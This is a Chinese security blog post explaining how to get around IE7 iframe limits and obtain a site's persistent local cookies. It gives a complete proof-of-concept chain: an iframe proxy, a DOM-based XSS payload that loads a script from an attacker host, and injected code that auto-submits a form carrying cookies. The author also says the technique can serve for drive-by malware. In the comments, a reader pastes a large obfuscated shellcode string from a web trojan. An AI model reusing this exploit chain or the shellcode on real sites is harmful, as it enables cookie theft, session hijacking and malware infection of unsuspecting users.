突破IE安全限制获取iframe子框架内的本地cookie
作者:aullik5
今天这篇主要是要讲以下这么几件事情:
1. iframe的限制
2. 突破iframe获取本地cookie的思路
3. 利用Cross Iframe Trick突破iframe安全限制
我的测试环境是: IE 7 (7.0.5730.13)
以下所有的内容全部经过我在IE7中测试,是真实有效的结果。
Iframe的限制:
因为iframe这个玩意比较特殊,所以浏览器对它一般都有一些限制。
首先父窗口不能控制子窗口的js,只能读取一些对象;子窗口也不能使用父窗口的js,也只能读部分对象,更多的比如document啥的都限制了。
关系如下:
- iframe's should not be able to view content/cookies from another domain - iframe children CAN view certain properties and execute certain behaviors - parent.window.blur - parent.window.opener - parent.window.length - others - iframe children CAN redirect the parent frame to a new location (great for phishing) - parent.location.href - parent.window.location
对于有些利用子窗口执行父窗口js的方法是限制的
比如,在子窗口里可以这么使用:
parent.location.href=”http://www.sohu.com”;
上面的语句将把父窗口重新定义到sohu的网站去.
但是如果想执行js,或者是读取document对象,则会被拒绝访问
parent.location.href=new String(“javascript:alert(document.cookie)”);
parent.location.href=new String(“javascript:alert(1)”);
像这两条都会被拒绝。
对于iframe,Firefox3 居然是不限制本地cookie发送的!也就是说,在Firefox环境里,使用iframe包含一个远程页面,是会将保存在本地的cookie发送出去的,这使得CSRF会非常之方便。
但是IE不同,对于IE环境中,img和iframe标签都只能发送session cookie,无法发送本地cookie,所以很多时候CSRF会失败,这也会给XSS带来很大的麻烦,比如会使得XSRF更困难一些。
鉴于Firefox一点挑战都没有,所以今天主要研究的对象是IE。
在IE环境下,程序员们一般都是使用P3P协议来获取跨域cookie的,但是P3P也要求我们改写HTTP头,更麻烦,在这里,我纯粹使用一些脚本的技巧来突破这些限制。
突破IFRAME限制的思路:(以下都是在IE环境中)
由于页面里的iframe都是发送的session cookie,所以子框架页面里本身是只有一个session cookie的,我们无法通过在子框架里执行js的方法来获取本地cookie,无中生有的事情是干不出来的。
了解这一原理后,思路就很明确了:想办法新起一个不受限制的窗口,从而获取本地cookie。
具体来说,有这么两个办法:
1、 使用window.open打开一个新窗口
2、 回到父窗口,让其打开一个新窗口
在子框架中,使用window.open()确实可以发送本地cookie,但是问题是浏览器一般会限制页面弹窗口,会被拦截,所以这个方法比较囧~~,不是个好办法。
而第二个办法,回到父窗口去打开新窗口,就涉及到一个突破iframe执行脚本的问题,而这个问题在我的前一篇Cross Iframe Trick 里已经解决了,所以我们的方法就呼之欲出了。
利用Cross Iframe Trick突破iframe限制获取子框架cookie:
Cross Iframe的最大贡献就在于他可以绕过前面提到的iframe的限制,在父域或者子框架里获取对象,执行脚本。
当一个页面很难突破时,如果他包含了一个存在弱点的iframe页面,则可能会带来灾难性的结果。
我相信真正精通脚本攻击的人是能够看到它的用处和优势的。
环境如下:(绑定127.0.0.1 www.baidu.com)
http://www.a.com/1.html 是我们要攻击的页面,它包含了一个存在弱点的iframe,用户只会去浏览这个页面
http://www.baidu.com/3.html 是我们已经控制的页面,他作为一个iframe被1.html所包含。在这里是iframe proxy
http://www.a.com/4.html 是www.a.com上的一个存在XSS漏洞的页面,一般情况下用户不会去访问它!
http://www.b.com/4.js 这是攻击者自己的服务器上的一个恶意脚本,将被XSS攻击远程载入4.html中。
由于用户只会浏览www.a.com/1.html,所以我们要通过脚本攻击,从www.a.com/1.html里获取用户在www.baidu.com/3.html的本地cookie。
www.a.com/1.html的代码如下:
———————————- 我是聪明的分割线 ——————————————-
<script>
// 函数tt1 ,在最后将被4.html注入参数
function tt1(fvck){
alert(“tt1() and args= “+fvck);
document.write(“<input id=\”bbb\” value=\’test1″+fvck+”\’ >”);
}
</script>
<body>
<iframe id=”tt2_3″ src=”http://www.baidu.com/3.html” width=”300″ height=”300″ ></iframe>
</body>
———————————- 我是聪明的分割线 ——————————————-
它包含了一个iframe页面
www.baidu.com/3.html 的代码为:
———————————- 我是聪明的分割线 ——————————————-
<html>
<body>
<script>
//parent.location.href=new String(“javascript:alert(document.cookie)”);
//parent.location.href=”http://www.sohu.com”;
alert(“3.html in iframe and cookie=”+document.cookie);
// iframe proxy: 创建一个动态iframe,并利用4.html里的XSS漏洞
var tt1_4 = document.createElement(“iframe”);
tt1_4.src = “http://www.A.com/4.html#’ ><script src=\”http://www.b.com/4.js\”><\/script><\'”;
document.body.appendChild(tt1_4);
</script>
</body>
</html>
———————————- 我是聪明的分割线 ——————————————-
3.html是我们的iframe proxy,利用它来完成在www.a.com里执行脚本的工作。
www.a.com/4.html 的代码为:
———————————- 我是聪明的分割线 ——————————————-
<html>
<script>
// 一个基于DOM的XSS漏洞
document.write(“<input id=\”aaa\” value=\’test4″+window.location.href+”\’ >”);
//window.open(“http://www.baidu.com/4.html”); 会带上cookie
</script>
<body>
This is 4.html!
<!– 把这里的注释去掉可以用来测试,这样发送的还是session cookie!
<form id=”form1″ method=”post” action=”http://www.baidu.com/2.html” >
<img src=”http://himg.baidu.com/sys/portrait/item/26ba61756c6c696b35c504.jpg” onload=submitpost4();>
</form>
<script>function submitpost4(){ document.forms[0].submit(); }</script>
–>
</body>
</html>
———————————- 我是聪明的分割线 ——————————————-
www.b.com/4.js 的代码为:
———————————- 我是聪明的分割线 ——————————————-
alert(“4.js is loaded!”);
top.tt1(‘\’><form id=\”form1\” method=\”post\” action=\”http://www.baidu.com/2.html\” ><img src=\”http://himg.baidu.com/sys/portrait/item/26ba61756c6c696b35c504.jpg\” onload=submitpost4();></form><script>function submitpost4(){ document.forms[0].submit(); }</script><\!– \”);
———————————- 我是聪明的分割线 ——————————————-
4.js才是我们真正利用XSS漏洞和Cross Iframe Trick来新起一个窗口,从而获取本地cookie的方法。
www.baidu.com/2.html的代码很简单,他的作用是查看当前的cookie:
———————————- 我是聪明的分割线 ——————————————-
<script>
alert(“2.html cookie=”+document.cookie);
</script>
———————————- 我是聪明的分割线 ——————————————-
在这里攻击流程是这样的:
www.a.com/1.html —-iframe—-> www.baidu.com/3.html —-动态iframe—> www.a.com/4.html 的XSS漏洞 ——> 在www.a.com域中远程加载www.b.com/4.js
4.js动态调用 www.a.com/1.html 里的 tt1() 函数,并篡改参数,写入一个form,利用js动态提交该表单,这时候提交的表单,就自动带上了本地cookie了
整个过程运行结果如下:
首先访问 www.a.com/1.html
可以看到这个时候在www.baidu.com/3.html 中弹出的是session cookie,可以对比下我们最后结果里弹出的本地cookie接下来,3.html将构造iframe proxy
可以看到,由于www.a.com/4.html里的XSS漏洞被利用,所以远程js被加载了
远程js继续调用top1.tt1(); 这个函数,同时篡改它的参数,参数如上图显示。接下来将把这个参数注入到tt1()函数中,由于tt1()函数中存在一个 document.write,所以它将改写页面,并且构造一个form表单,重新提交到www.baidu.com/2.html
由于在form表单中,利用了img标签的onload事件,使得img一加载就提交form,所以很快就自动获得了cookie。
可以看到,此时获取的,就是www.baidu.com/2.html 保存的本地cookie!
需要注意的是,在4.html中,即使把 top.tt1()改成了 document.write(),也无法获取本地cookie,想来应该还是因为iframe限制的问题。
以上,就是利用Cross Iframe Trick的技巧来突破iframe限制的方法,其意义在于跨页面攻击、跨域攻击、突破iframe的限制,等等,大大丰富了脚本攻击的方法。
不知道我这篇是不是又在白写,如果有人能把我给出的POC好好调一遍,会发现这里面还是很有趣的。
最后,再讲讲,有的人可能会提出疑问,能构造iframe proxy,是否可以直接用来挂马?
是的,当然可以直接用来挂马,但是挂马却是更加复杂的一种攻击,要求有好的浏览器漏洞,好的木马,能够对抗主动防御的shellcode,同时,根据需要获取的数据不同,有时候挂马也并不能达到目的。比如,攻击的目标是网站里的数据,如果网站有SSL保护,有防键盘记录一类的程序,则会更加麻烦。
刚刚有在Zwell的站上看到你发言!
交个朋友吧,技术交流!
MSN:[email protected]
@非天使[冰炎]: 呵呵,我很上上MSN的,有别的联系方式吗
你直接加QQ:[email protected]吧
我想那样的验证问题应该难不到你!
sin(π)=0
很好很强大。
这个利用条件太苛刻了吧
很好很强大。
利用条件也很苛刻。
你这个好像只能跨域执行事件,能不能从跨域从子窗体得到父窗体的cookie信息呢?
看一下这个网马怎么解开啊
var ttt = unescape(“Game11ebGame4b5bGamec933Game96b9Game0005Game8000Game0b34Gamee2bcGameebfaGamee805GameffeaGameffffGame8454GamebcbfGamed4bcGame9cbcGamebcbcGamebcd6Game6c43Game3a05Gamebcb9Game37bcGame5744Gamee2b9Game184fGame6c43Game4a54Game4343Game5443Gamebf83GamebcbcGame4437Game8454GamebcbcGame54bcGamebdf3GamebcbcGamefa54GamebcbcGame54bcGamebf61GamebcbcGame4437Game9e54GamebcbcGame54bcGamebdfaGamebcbcGame8c54GamebcbcGame54bcGamebf37GamebcbcGame4437Gameb054GamebcbcGame54bcGamebddfGamebcbcGamea654GamebcbcGame57bcGameefe4Game6037Gamed6efGamed4fcGameacbcGamebcbcGame54ebGamebe0fGamebcbcGame5954GamebcbcGamee4bcGameef7fGame6037Gamed6efGamed49cGameacbcGamebcbcGame54ebGamebe27GamebcbcGame7154GamebcbcGamee4bcGameeb7fGame8254Gamebcb8Game37bcGame8f44Gamef575Game7c8fGame7f0cGame4e40Game3112Game43fbGame7fe3Game82e7Gamebb7aGame8204Gamee335Game82bdGame7bdaGameb9fbGame5c43Game557fGameb82bGamebcbcGame3de7Gamea850GamebcbdGame37bcGame8268Gamebe7bGamed1dfGame9cd8Game7b82Gameb8feGamedf93Game9e9cGame7e3fGame8fb4Gameec7cGamed4ecGamebdb8GamebcbcGameefeeGame54ecGamebf7fGamebcbcGame6c43Game4037Game7b37Game7c3fGame82b4Gamea436Game6738Gamebfc8Game57fcGame824aGamebc7aGame8f9eGame826eGameec34Game3fbdGamee850Game7c8fGame678fGame7037Game443fGamec1e8Game82b5Gamea035Game3fb4Gameb87cGame4e57Game7037Game6537Game7f3fGame8facGame827cGameff7bGamebd90GamebcbcGameedbcGameecefGameececGameececGameebecGame54ecGamebf87GamebcbcGamea554GamebcbcGamed8bcGameb81dGamebcbcGame31bcGamedc1cGame4343Game5443Gamebf85GamebcbcGame678fGameefefGameefefGame6c43Game843cGamec855Game3cb9Game5484Gameb3c9Gamec43dGame2cb9Game2c2cGamec82cGamee9baGame5037Gamefc31Game43b9Game545cGame4390Game4343Game547fGame439aGame4343Gamead04Gameb8bdGame7e3cGamebcb0Gamea554Game4343Game8f43Gameec7cGame54e8Gamebce8GamebcbcGame54ecGamebe37GamebcbcGame6c43Game3c8aGame9880GamecbbcGame54b6GamebefdGamebcbcGame438fGame43ebGame546cGamebd47GamebcbcGame43d4GamebcbcGame43bcGame546cGame425aGame4343GameebefGame8feaGameec7cGame54e8Gamebca2GamebcbcGame54ecGamebee9GamebcbcGame6c43Game3c8aGame9880GamecbbcGame54b6Gamebeb7GamebcbcGame438fGame43ebGamee46cGamee3e2Game7fe7Gamebe57Game7fe4Game4554Game4343Gameea43Game3febGameb450Game4037Gameb4d6Game82ebGamecb43Game54a8Gamebee1GamebcbcGame6c43Game4037Gameddd4Gamed9d1Gamed4bcGamef9f5GamecefaGame4837Gameb405GamebcbcGame4fbcGamec91aGamed693Game82bcGamec843Game9c98Game9854GamebcbeGame43bcGame376cGame5444Gamebd77GamebcbcGame6c43Game4487Gameb4c8Game378aGame98f8Game829cGamebc43Game4382Game98c8Game54a0Gamebd53GamebcbcGame6c43Game783fGamee3acGame04e2GamebcbdGamebcbcGamed47fGamed2d3GamebcbcGamec9d4Gamed0ceGame57d1Game31a9Game98f8Gameecb8Game9c54Game4342Gameec43Gamef654GamebcbeGame55bcGame425cGame4343Game5a54Game4343Game3f43Gameb478Gamed67fGamed4d0Gamec8d2Gamed0d8Gamea957Gamef831Gameb898Game54ecGame4145Game4343Game54ecGamebe9fGamebcbcGame0555Game4342Game5443Game435aGame4343Game783fGame7fb4Game8fd4Gamebc8eGamed4bcGamecfc9Gameced9Gamea957Gamef831Gameb898Game54ecGame4173Game4343Game54ecGamebd45GamebcbcGame3355Game4342Game5443Game435aGame4343Game783fGame7fb4Gamedfd4GamecbcaGamed4bcGamed4cfGamed3d8Gamea957Gamef831Gameb898Game54ecGame4119Game4343Game54ecGamebd73GamebcbcGamed955Game4342Game5443Game435aGame4343Game783fGame7fb4Gamecad4Gamec4dbGame57bcGame31a9Game98f8Gameecb8Game3c54Game4341Gameec43Game1654GamebcbdGame55bcGame42fcGame4343Game5a54Game4343Game3f43Gameb878Game547fGamebd17GamebcbcGamea7d4Gamefa7aGameecc5Game7a54GamebcbdGame3fbcGameb478Game547fGamebd2bGamebcbcGame50d4Gamebf2bGameecb0Game0e54GamebcbdGame3fbcGameb478Game547fGamebd3fGamebcbcGame16d4Gameb140Gameecc0Game2254GamebcbdGame3fbcGameb478Game547fGamebdd3GamebcbcGame51d4Game53eaGameec8aGame3654GamebcbdGame3fbcGameb478Game547fGamebde7GamebcbcGame4cd4Gameb836Gameece3Gameca54GamebcbdGame3fbcGameb478Game547fGame424bGame4343Gamec4d4Game67d4Gameeca0Gamede54GamebcbdGame3fbcGameb478Game547fGamebd8fGamebcbcGamec2d4Game5e64GameeccfGamef254GamebcbdGame3fbcGameb478Game547fGamebda3GamebcbcGame0cd4Game91f5Gameec67Game8654GamebcbdGame3fbcGameb478Game547fGame438aGame4343Game17d4Game27e2Gameeca2Game9a54GamebcbdGame3fbcGameb478Game547fGame421bGame4343Gamee5d4Game3d2bGameecbeGameae54GamebcbdGame3fbcGameb478Game547fGamebc5fGamebcbcGamec2d4Game5e64GameeccfGame4254GamebcbcGame3fbcGameb478Game547fGamebc73GamebcbcGame22d4Game0745Gameec89Game5654GamebcbcGame3fbcGameb478Game547fGame422eGame4343Gameebd4Game091cGameec07Game6a54GamebcbcGame3fbcGameb478Game547fGame42c2Game4343Gamea6d4Gamea2c6GameecbeGame7e54GamebcbcGame3fbcGameb478Game547fGame42d6Game4343Game5cd4Game8ce7Gameec28Game1254GamebcbcGame3fbcGameb478Game547fGame42eaGame4343Game2bd4Game5e75Gameec1fGame2654GamebcbcGame3fbcGameb478Game547fGame42feGame4343Gamed4d4Game7998Gameec0fGame3a54GamebcbcGame3fbcGameb478Game547fGamebcebGamebcbcGameced4Game0f42GameecaaGamece54GamebcbcGame3fbcGameb478Game547fGame42f8Game4343Gameaf57Gamed9d6Game54ecGame4749Game4343Game54ecGame4217Game4343Game0955Game4340Game5443Game4354Game4343Game547fGame4115Game4343Gamef3d4Gamef353Gameecb9Game8254GamebcbcGame3fbcGameb478Game547fGamebcb3GamebcbcGame32d4Gameb2f2Gameec50Game9654GamebcbcGame3fbcGameb478Game8f7fGamed87cGamefc37Game398cGamec47cGame82acGamefc37Game82b0Gamecc37Game11a0Game3782Gameb4fcGame577fGame82b7Gamefc37Game3f88Gamec07cGame3782Game80fcGamedc7fGame378aGame98d0Game8a98Gamef937Game8a80Gamee837Gamec494Game69bfGame3782Gamea4f6Game3782Game9ce6Game61bfGame875fGame82f5Game8837Gamebf37Game8f49Game8f43Game407cGame3810Gamec87cGame7dbbGameb173Game44bfGame4857Game878aGame98c0Gamec994Game8263Gamee637Gamebf98Game8261Game37daGamef7b0Game3782Gamea0e6Game61bfGame3782Game37b8Game79bfGame358aGame98f8Gamedda0Game547fGame47d8Game4343Gamec8d4Gameccc8Game9386Gamecb93GamecbcbGamed892Gamed8d8Gamec4d8Gamec4c4Game888dGamedf92Game93d2Game8c8cGamedf92GamecfcfGamebcbcGamebcbc”);